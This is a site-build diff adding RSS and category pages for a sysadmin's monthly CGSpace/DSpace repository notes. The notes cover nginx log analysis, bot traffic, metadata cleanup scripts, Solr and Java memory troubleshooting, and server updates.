728 169.60.128.125 + 730 207.46.13.108 + 758 157.55.39.9 + 808 66.160.140.179 + 814 207.46.13.212 + 2472 163.172.71.23 + 6092 3.94.211.189 +# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 33 2a01:7e00::f03c:91ff:fe16:fcb + 57 3.83.192.124 + 57 3.87.77.25 + 57 54.82.1.8 + 822 2a01:9cc0:47:1:1a:4:0:2 + 1223 45.5.184.72 + 1633 172.104.229.92 + 5112 205.186.128.185 + 7249 2a01:7e00::f03c:91ff:fe18:7396 + 9124 45.5.186.2 +</code></pre> + + + + August, 2019 + https://alanorth.github.io/cgspace-notes/2019-08/ + Sat, 03 Aug 2019 12:39:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-08/ + <h2 id="2019-08-03">2019-08-03</h2> +<ul> +<li>Look at Bioversity&rsquo;s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name&hellip;</li> +</ul> +<h2 id="2019-08-04">2019-08-04</h2> +<ul> +<li>Deploy ORCID identifier updates requested by Bioversity to CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it +<ul> +<li>Before updating it I checked Solr and verified that all statistics cores were loaded properly&hellip;</li> +<li>After rebooting, all statistics cores were loaded&hellip; wow, that&rsquo;s lucky.</li> +</ul> +</li> +<li>Run system updates on DSpace Test (linode19) and reboot it</li> +</ul> + + + + July, 2019 + https://alanorth.github.io/cgspace-notes/2019-07/ + Mon, 01 Jul 2019 12:13:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-07/ + <h2 id="2019-07-01">2019-07-01</h2> +<ul> +<li>Create an &ldquo;AfricaRice books and book chapters&rdquo; collection on CGSpace for AfricaRice</li> +<li>Last month Sisay asked why the following &ldquo;most popular&rdquo; statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: +<ul> +<li><a href="https://dspacetest.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">DSpace Test</a></li> +<li><a href="https://cgspace.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">CGSpace</a></li> +</ul> +</li> +<li>Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community</li> +</ul> + + + + June, 2019 + https://alanorth.github.io/cgspace-notes/2019-06/ + Sun, 02 Jun 2019 10:57:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-06/ + <h2 id="2019-06-02">2019-06-02</h2> +<ul> +<li>Merge the <a href="https://github.com/ilri/DSpace/pull/425">Solr filterCache</a> and <a href="https://github.com/ilri/DSpace/pull/426">XMLUI ISI journal</a> changes to the <code>5_x-prod</code> branch and deploy on CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it</li> +</ul> +<h2 id="2019-06-03">2019-06-03</h2> +<ul> +<li>Skype with Marie-Angélique and Abenet about <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2</a></li> +</ul> + + + + May, 2019 + https://alanorth.github.io/cgspace-notes/2019-05/ + Wed, 01 May 2019 07:37:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-05/ + <h2 id="2019-05-01">2019-05-01</h2> +<ul> +<li>Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace</li> +<li>A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +<ul> +<li>Apparently if the item is in the <code>workflowitem</code> table it is submitted to a workflow</li> +<li>And if it is in the <code>workspaceitem</code> table it is in the pre-submitted state</li> +</ul> +</li> +<li>The item seems to be in a pre-submitted state, so I tried to delete it from there:</li> +</ul> +<pre tabindex="0"><code>dspace=# DELETE FROM workspaceitem WHERE item_id=74648; +DELETE 1 +</code></pre><ul> +<li>But after this I tried to delete the item from the XMLUI and it is <em>still</em> present&hellip;</li> +</ul> + + + + April, 2019 + https://alanorth.github.io/cgspace-notes/2019-04/ + Mon, 01 Apr 2019 09:00:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-04/ + <h2 id="2019-04-01">2019-04-01</h2> +<ul> +<li>Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +<ul> +<li>They asked if we had plans to enable RDF support in CGSpace</li> +</ul> +</li> +<li>There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +<ul> +<li>I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep &#39;Spore-192-EN-web.pdf&#39; | grep -E &#39;(18.196.196.108|18.195.78.144|18.195.218.6)&#39; | awk &#39;{print $9}&#39; | sort | uniq -c | sort -n | tail -n 5 + 4432 200 +</code></pre><ul> +<li>In the last two weeks there have been 47,000 downloads of this <em>same exact PDF</em> by these three IP addresses</li> +<li>Apply country and region corrections and deletions on DSpace Test and CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.country -m 228 -t ACTION -d +$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.region -m 231 -t action -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 228 -f cg.coverage.country -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 231 -f cg.coverage.region -d +</code></pre> + + + + March, 2019 + https://alanorth.github.io/cgspace-notes/2019-03/ + Fri, 01 Mar 2019 12:16:30 +0100 + + https://alanorth.github.io/cgspace-notes/2019-03/ + <h2 id="2019-03-01">2019-03-01</h2> +<ul> +<li>I checked IITA&rsquo;s 259 Feb 14 records from last month for duplicates using Atmire&rsquo;s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good</li> +<li>I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc&hellip;</li> +<li>Looking at the other half of Udana&rsquo;s WLE records from 2018-11 +<ul> +<li>I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)</li> +<li>I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items</li> +<li>Most worryingly, there are encoding errors in the abstracts for eleven items, for example:</li> +<li>68.15% � 9.45 instead of 68.15% ± 9.45</li> +<li>2003�2013 instead of 2003–2013</li> +</ul> +</li> +<li>I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs</li> +</ul> + + + + February, 2019 + https://alanorth.github.io/cgspace-notes/2019-02/ + Fri, 01 Feb 2019 21:37:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-02/ + <h2 id="2019-02-01">2019-02-01</h2> +<ul> +<li>Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!</li> +<li>The top IPs before, during, and after this latest alert tonight were:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;01/Feb/2019:(17|18|19|20|21)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 245 207.46.13.5 + 332 54.70.40.11 + 385 5.143.231.38 + 405 207.46.13.173 + 405 207.46.13.75 + 1117 66.249.66.219 + 1121 35.237.175.180 + 1546 5.9.6.51 + 2474 45.5.186.2 + 5490 85.25.237.71 +</code></pre><ul> +<li><code>85.25.237.71</code> is the &ldquo;Linguee Bot&rdquo; that I first saw last month</li> +<li>The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase</li> +<li>There were just over 3 million accesses in the nginx logs last month:</li> +</ul> +<pre tabindex="0"><code># time zcat --force /var/log/nginx/* | grep -cE &#34;[0-9]{1,2}/Jan/2019&#34; +3018243 + +real 0m19.873s +user 0m22.203s +sys 0m1.979s +</code></pre> + + + + January, 2019 + https://alanorth.github.io/cgspace-notes/2019-01/ + Wed, 02 Jan 2019 09:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-01/ + <h2 id="2019-01-02">2019-01-02</h2> +<ul> +<li>Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning</li> +<li>I don&rsquo;t see anything interesting in the web server logs around that time though:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;02/Jan/2019:0(1|2|3)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 92 40.77.167.4 + 99 210.7.29.100 + 120 38.126.157.45 + 177 35.237.175.180 + 177 40.77.167.32 + 216 66.249.75.219 + 225 18.203.76.93 + 261 46.101.86.248 + 357 207.46.13.1 + 903 54.70.40.11 +</code></pre> + + + + December, 2018 + https://alanorth.github.io/cgspace-notes/2018-12/ + Sun, 02 Dec 2018 02:09:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-12/ + <h2 id="2018-12-01">2018-12-01</h2> +<ul> +<li>Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK</li> +<li>I manually installed OpenJDK, then removed Oracle JDK, then re-ran the <a href="http://github.com/ilri/rmg-ansible-public">Ansible playbook</a> to update all configuration files, etc</li> +<li>Then I ran all system updates and restarted the server</li> +</ul> +<h2 id="2018-12-02">2018-12-02</h2> +<ul> +<li>I noticed that there is another issue with PDF thumbnails on CGSpace, and I see there was another <a href="https://usn.ubuntu.com/3831-1/">Ghostscript vulnerability last week</a></li> +</ul> + + + + November, 2018 + https://alanorth.github.io/cgspace-notes/2018-11/ + Thu, 01 Nov 2018 16:41:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-11/ + <h2 id="2018-11-01">2018-11-01</h2> +<ul> +<li>Finalize AReS Phase I and Phase II ToRs</li> +<li>Send a note about my <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> to the dspace-tech mailing list</li> +</ul> +<h2 id="2018-11-03">2018-11-03</h2> +<ul> +<li>Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage</li> +<li>Today these are the top 10 IPs:</li> +</ul> + + + + October, 2018 + https://alanorth.github.io/cgspace-notes/2018-10/ + Mon, 01 Oct 2018 22:31:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-10/ + <h2 id="2018-10-01">2018-10-01</h2> +<ul> +<li>Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items</li> +<li>I created a GitHub issue to track this <a href="https://github.com/ilri/DSpace/issues/389">#389</a>, because I&rsquo;m super busy in Nairobi right now</li> +</ul> + + + + September, 2018 + https://alanorth.github.io/cgspace-notes/2018-09/ + Sun, 02 Sep 2018 09:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-09/ + <h2 id="2018-09-02">2018-09-02</h2> +<ul> +<li>New <a href="https://jdbc.postgresql.org/documentation/changelog.html#version_42.2.5">PostgreSQL JDBC driver version 42.2.5</a></li> +<li>I&rsquo;ll update the DSpace role in our <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure playbooks</a> and run the updated playbooks on CGSpace and DSpace Test</li> +<li>Also, I&rsquo;ll re-run the <code>postgresql</code> tasks because the custom PostgreSQL variables are dynamic according to the system&rsquo;s RAM, and we never re-ran them after migrating to larger Linodes last month</li> +<li>I&rsquo;m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I&rsquo;m getting those autowire errors in Tomcat 8.5.30 again:</li> +</ul> + + + + August, 2018 + https://alanorth.github.io/cgspace-notes/2018-08/ + Wed, 01 Aug 2018 11:52:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-08/ + <h2 id="2018-08-01">2018-08-01</h2> +<ul> +<li>DSpace Test had crashed at some point yesterday morning and I see the following in <code>dmesg</code>:</li> +</ul> +<pre tabindex="0"><code>[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child +[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB +[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +</code></pre><ul> +<li>Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight</li> +<li>From the DSpace log I see that eventually Solr stopped responding, so I guess the <code>java</code> process that was OOM killed above was Tomcat&rsquo;s</li> +<li>I&rsquo;m not sure why Tomcat didn&rsquo;t crash with an OutOfMemoryError&hellip;</li> +<li>Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core</li> +<li>The server only has 8GB of RAM so we&rsquo;ll eventually need to upgrade to a larger one because we&rsquo;ll start starving the OS, PostgreSQL, and command line batch processes</li> +<li>I ran all system updates on DSpace Test and rebooted it</li> +</ul> + + + + July, 2018 + https://alanorth.github.io/cgspace-notes/2018-07/ + Sun, 01 Jul 2018 12:56:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-07/ + <h2 id="2018-07-01">2018-07-01</h2> +<ul> +<li>I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:</li> +</ul> +<pre tabindex="0"><code>$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace +</code></pre><ul> +<li>During the <code>mvn package</code> stage on the 5.8 branch I kept getting issues with java running out of memory:</li> +</ul> +<pre tabindex="0"><code>There is insufficient memory for the Java Runtime Environment to continue. +</code></pre> + + + + June, 2018 + https://alanorth.github.io/cgspace-notes/2018-06/ + Mon, 04 Jun 2018 19:49:54 -0700 + + https://alanorth.github.io/cgspace-notes/2018-06/ + <h2 id="2018-06-04">2018-06-04</h2> +<ul> +<li>Test the <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=560">DSpace 5.8 module upgrades from Atmire</a> (<a href="https://github.com/ilri/DSpace/pull/378">#378</a>) +<ul> +<li>There seems to be a problem with the CUA and L&amp;R versions in <code>pom.xml</code> because they are using SNAPSHOT and it doesn&rsquo;t build</li> +</ul> +</li> +<li>I added the new CCAFS Phase II Project Tag <code>PII-FP1_PACCA2</code> and merged it into the <code>5_x-prod</code> branch (<a href="https://github.com/ilri/DSpace/pull/379">#379</a>)</li> +<li>I proofed and tested the ILRI author corrections that Peter sent back to me this week:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p &#39;fuuu&#39; -f dc.contributor.author -t correct -m 3 -n +</code></pre><ul> +<li>I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-03/">March, 2018</a></li> +<li>Time to index ~70,000 items on CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b + +real 74m42.646s +user 8m5.056s +sys 2m7.289s +</code></pre> + + + + May, 2018 + https://alanorth.github.io/cgspace-notes/2018-05/ + Tue, 01 May 2018 16:43:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-05/ + <h2 id="2018-05-01">2018-05-01</h2> +<ul> +<li>I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +<ul> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E</li> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E</li> +</ul> +</li> +<li>Then I reduced the JVM heap size from 6144 back to 5120m</li> +<li>Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure scripts</a> to support hosts choosing which distribution they want to use</li> +</ul> + + + + April, 2018 + https://alanorth.github.io/cgspace-notes/2018-04/ + Sun, 01 Apr 2018 16:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-04/ + <h2 id="2018-04-01">2018-04-01</h2> +<ul> +<li>I tried to test something on DSpace Test but noticed that it&rsquo;s down since god knows when</li> +<li>Catalina logs at least show some memory errors yesterday:</li> +</ul> + + + + March, 2018 + https://alanorth.github.io/cgspace-notes/2018-03/ + Fri, 02 Mar 2018 16:07:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-03/ + <h2 id="2018-03-02">2018-03-02</h2> +<ul> +<li>Export a CSV of the IITA community metadata for Martin Mueller</li> +</ul> + + + + February, 2018 + https://alanorth.github.io/cgspace-notes/2018-02/ + Thu, 01 Feb 2018 16:28:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-02/ + <h2 id="2018-02-01">2018-02-01</h2> +<ul> +<li>Peter gave feedback on the <code>dc.rights</code> proof of concept that I had sent him last week</li> +<li>We don&rsquo;t need to distinguish between internal and external works, so that makes it just a simple list</li> +<li>Yesterday I figured out how to monitor DSpace sessions using JMX</li> +<li>I copied the logic in the <code>jmx_tomcat_dbpools</code> provided by Ubuntu&rsquo;s <code>munin-plugins-java</code> package and used the stuff I discovered about JMX <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-01/">in 2018-01</a></li> +</ul> + + + + January, 2018 + https://alanorth.github.io/cgspace-notes/2018-01/ + Tue, 02 Jan 2018 08:35:54 -0800 + + https://alanorth.github.io/cgspace-notes/2018-01/ + <h2 id="2018-01-02">2018-01-02</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time</li> +<li>I didn&rsquo;t get any load alerts from Linode and the REST and XMLUI logs don&rsquo;t show anything out of the ordinary</li> +<li>The nginx logs show HTTP 200s until <code>02/Jan/2018:11:27:17 +0000</code> when Uptime Robot got an HTTP 500</li> +<li>In dspace.log around that time I see many errors like &ldquo;Client closed the connection before file download was complete&rdquo;</li> +<li>And just before that I see this:</li> +</ul> +<pre tabindex="0"><code>Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000]. +</code></pre><ul> +<li>Ah hah! So the pool was actually empty!</li> +<li>I need to increase that, let&rsquo;s try to bump it up from 50 to 75</li> +<li>After that one client got an HTTP 499 but then the rest were HTTP 200, so I don&rsquo;t know what the hell Uptime Robot saw</li> +<li>I notice this error quite a few times in dspace.log:</li> +</ul> +<pre tabindex="0"><code>2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets +org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse &#39;dateIssued_keyword:[1976+TO+1979]&#39;: Encountered &#34; &#34;]&#34; &#34;] &#34;&#34; at line 1, column 32. +</code></pre><ul> +<li>And there are many of these errors every day for the past month:</li> +</ul> +<pre tabindex="0"><code>$ grep -c &#34;Error while searching for sidebar facets&#34; dspace.log.* +dspace.log.2017-11-21:4 +dspace.log.2017-11-22:1 +dspace.log.2017-11-23:4 +dspace.log.2017-11-24:11 +dspace.log.2017-11-25:0 +dspace.log.2017-11-26:1 +dspace.log.2017-11-27:7 +dspace.log.2017-11-28:21 +dspace.log.2017-11-29:31 +dspace.log.2017-11-30:15 +dspace.log.2017-12-01:15 +dspace.log.2017-12-02:20 +dspace.log.2017-12-03:38 +dspace.log.2017-12-04:65 +dspace.log.2017-12-05:43 +dspace.log.2017-12-06:72 +dspace.log.2017-12-07:27 +dspace.log.2017-12-08:15 +dspace.log.2017-12-09:29 +dspace.log.2017-12-10:35 +dspace.log.2017-12-11:20 +dspace.log.2017-12-12:44 +dspace.log.2017-12-13:36 +dspace.log.2017-12-14:59 +dspace.log.2017-12-15:104 +dspace.log.2017-12-16:53 +dspace.log.2017-12-17:66 +dspace.log.2017-12-18:83 +dspace.log.2017-12-19:101 +dspace.log.2017-12-20:74 +dspace.log.2017-12-21:55 +dspace.log.2017-12-22:66 +dspace.log.2017-12-23:50 +dspace.log.2017-12-24:85 +dspace.log.2017-12-25:62 +dspace.log.2017-12-26:49 +dspace.log.2017-12-27:30 +dspace.log.2017-12-28:54 +dspace.log.2017-12-29:68 +dspace.log.2017-12-30:89 +dspace.log.2017-12-31:53 +dspace.log.2018-01-01:45 +dspace.log.2018-01-02:34 +</code></pre><ul> +<li>Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let&rsquo;s Encrypt if it&rsquo;s just a handful of domains</li> +</ul> + + + + December, 2017 + https://alanorth.github.io/cgspace-notes/2017-12/ + Fri, 01 Dec 2017 13:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-12/ + <h2 id="2017-12-01">2017-12-01</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down</li> +<li>The logs say &ldquo;Timeout waiting for idle object&rdquo;</li> +<li>PostgreSQL activity says there are 115 connections currently</li> +<li>The list of connections to XMLUI and REST API for today:</li> +</ul> + + + + November, 2017 + https://alanorth.github.io/cgspace-notes/2017-11/ + Thu, 02 Nov 2017 09:37:54 +0200 + + https://alanorth.github.io/cgspace-notes/2017-11/ + <h2 id="2017-11-01">2017-11-01</h2> +<ul> +<li>The CORE developers responded to say they are looking into their bot not respecting our robots.txt</li> +</ul> +<h2 id="2017-11-02">2017-11-02</h2> +<ul> +<li>Today there have been no hits by CORE and no alerts from Linode (coincidence?)</li> +</ul> +<pre tabindex="0"><code># grep -c &#34;CORE&#34; /var/log/nginx/access.log +0 +</code></pre><ul> +<li>Generate list of authors on CGSpace for Peter to go through and correct:</li> +</ul> +<pre tabindex="0"><code>dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = &#39;contributor&#39; and qualifier = &#39;author&#39;) AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv; +COPY 54701 +</code></pre> + + + + October, 2017 + https://alanorth.github.io/cgspace-notes/2017-10/ + Sun, 01 Oct 2017 08:07:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-10/ + <h2 id="2017-10-01">2017-10-01</h2> +<ul> +<li>Peter emailed to point out that many items in the <a href="https://cgspace.cgiar.org/handle/10568/2703">ILRI archive collection</a> have multiple handles:</li> +</ul> +<pre tabindex="0"><code>http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336 +</code></pre><ul> +<li>There appears to be a pattern but I&rsquo;ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine</li> +<li>Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections</li> +</ul> + + + + CGIAR Library Migration + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + Mon, 18 Sep 2017 16:38:35 +0300 + + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + <p>Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called <em>CGIAR System Organization</em>.</p> + + + + diff --git a/docs/categories/notes/page/1/index.html b/docs/categories/notes/page/1/index.html new file mode 100644 index 000000000..16efd964c --- /dev/null +++ b/docs/categories/notes/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/categories/notes/ + + + + + + diff --git a/docs/categories/notes/page/2/index.html b/docs/categories/notes/page/2/index.html new file mode 100644 index 000000000..eeadd59a4 --- /dev/null +++ b/docs/categories/notes/page/2/index.html @@ -0,0 +1,434 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

September, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-09-01

+
    +
  • A bit of work on the “Mapping CG Core–CGSpace–MEL–MARLO Types” spreadsheet
    • +
  • I tested an item submission on DSpace Test with the Cocoon org.apache.cocoon.uploads.autosave=false change +
      +
    • The submission works as expected
      • +
    +
    • +
  • Start debugging some region-related issues with csv-metadata-quality +
      +
    • I created a new test file test-geography.csv with some different scenarios
      • +
    • I also fixed a few bugs and improved the region-matching logic
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

July, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-07-02

+
    +
  • I learned how to use the Levenshtein functions in PostgreSQL +
      +
    • The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing
      • +
    • Also, the trgm functions I’ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-06-06

+
    +
  • Look at the Solr statistics on CGSpace +
      +
    • I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS “msnbot-” using the Solr query dns:*msnbot* AND dns:*.msn.com
      • +
    • I purged these first so I could see the other “real” IPs in the Solr facets
      • +
    +
    • +
  • I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent
    • +
  • I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent
    • +
  • I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +
      +
    • There seem to be many more of these:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-05-04

+
    +
  • I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +
      +
    • 18.207.136.176
      • +
    • 185.189.36.248
      • +
    • 50.118.223.78
      • +
    • 52.70.76.123
      • +
    • 3.236.10.11
      • +
    +
    • +
  • Looking at the Solr statistics for 2022-04 +
      +
    • 52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests
      • +
    • 64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc
      • +
    • 185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt
      • +
    • 157.55.39.159 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • 52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 207.46.13.177 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • If I query Solr for time:2022-04* AND dns:*msnbot* AND dns:*.msn.com. I see a handful of IPs that made 41,000 requests
      • +
    +
    • +
  • I purged 93,974 hits from these IPs using my check-spider-ip-hits.sh script
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2022

+

by Alan Orth in + Notes + + +

+
+ 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
+ + + + + + +
+
+

March, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-03-01

+
    +
  • Send Gaia the last batch of potential duplicates for items 701 to 980:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
+$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
+$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
+
+ Read more → +
+ + + + + + +
+
+

February, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-02-01

+
    +
  • Meeting with Peter and Abenet about CGSpace in the One CGIAR +
      +
    • We agreed to buy $5,000 worth of credits from Atmire for future upgrades
      • +
    • We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization
      • +
    • We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one
      • +
    • We agreed to try to do more alignment of affiliations/funders with ROR
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

December, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-12-01

+
    +
  • Atmire merged some changes I had submitted to the COUNTER-Robots project
    • +
  • I updated our local spider user agents and then re-ran the list with my check-spider-hits.sh script on CGSpace:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents -p  
+Purging 1989 hits from The Knowledge AI in statistics
+Purging 1235 hits from MaCoCu in statistics
+Purging 455 hits from WhatsApp in statistics
+
+Total number of bot hits purged: 3679
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
